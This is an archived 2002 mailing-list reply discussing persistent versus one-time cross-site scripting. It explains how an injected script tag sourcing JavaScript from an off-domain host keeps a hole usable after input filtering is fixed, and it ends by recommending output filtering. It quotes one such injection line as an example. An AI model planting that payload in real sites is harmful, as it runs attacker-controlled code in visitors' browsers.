Vulnerability Development mailing list archives
Re: CSS implication
From: Jeremiah Grossman <jeremiah () whitehatsec com>
Date: Mon, 18 Mar 2002 09:25:51 -0800
zero wrote:
Having a bit of trouble understanding what you mean.... but...I think your right, some XSS attacks dont have to "directly " effect the user, but they manipulate them in some way. However, I still think this type of attack would be grouped as an implication of XSS.Yeap, that's it. What I mean is that sometimes, you can send the bogus code into a board or a forum, which makes it even more dangerous cause it will be executed by every user that views the page. On the other hand you've got other CSS attacks which you only can execute code if you pass and exact url, and only once, cause the link doesn't gets stored on the server.
Ahh yes. The difference between "persistent" and "one-time-click" XSS. The persistent variant is much more dangerous as you pointed out and has an easier time effecting many more users in a given amount of time. One of the lesser know problems regarding (the lesser known) XSS problem is that of "holding the hole open" (lack of a better term) using persistent XSS vulnerabilities. Once XSS code is injected into a persistent environment (HTML Chat/Auction/Mail,etc.) it will stay there (for a length of time), even if the input filtering problem is fixed at some point. The "code" is still on the domain. What an attacker can do is SRC the JS code as most of us already commonly know. *SCRIPT SRC="http://www.offdomain.com/javascript.js"></SCRIPT* This provides a continuing threat that the JS code can be altered without having to re-inject the javascript. Good thing for the attacker if the filtering mechanism has been properly fixed. They can now use this stepping stone to change the "code" to do whatever they wish and not have to be locked into any one action. What happens is that the attacker has turned this XSS hole into a contstant, well hidden, "click-on-link-to-XSS-me" vulnerability within the domain. Again, after the input filter problem has been fixed, the XSS vulnerability lives on. This is why is absolutely essential to filter output as well as input, especially if one is not able to crawl a database looking for malformed user input data and eliminating it. Make sense? Jeremiah Grossman WhiteHat Security, Inc. http://community.whitehatsec.com
Current thread:
- CSS implication zero (Mar 16)
- Re: CSS implication Jeremiah Grossman (Mar 16)
- <Possible follow-ups>
- Re: CSS implication Frog Man (Mar 17)
- Re: CSS implication Bill Weiss (Mar 17)
- Re: CSS implication zero (Mar 17)
- Re: CSS implication Jeremiah Grossman (Mar 18)
- Re: CSS implication zero (Mar 18)
- Re: CSS implication Jeremiah Grossman (Mar 19)
- Re: CSS implication Sverre H. Huseby (Mar 23)
- Re: CSS implication Jeremiah Grossman (Mar 18)
- Re: CSS implication Arta (Mar 18)
- Re: CSS implication HarryM (Mar 21)
- Re: CSS implication Sverre H. Huseby (Mar 21)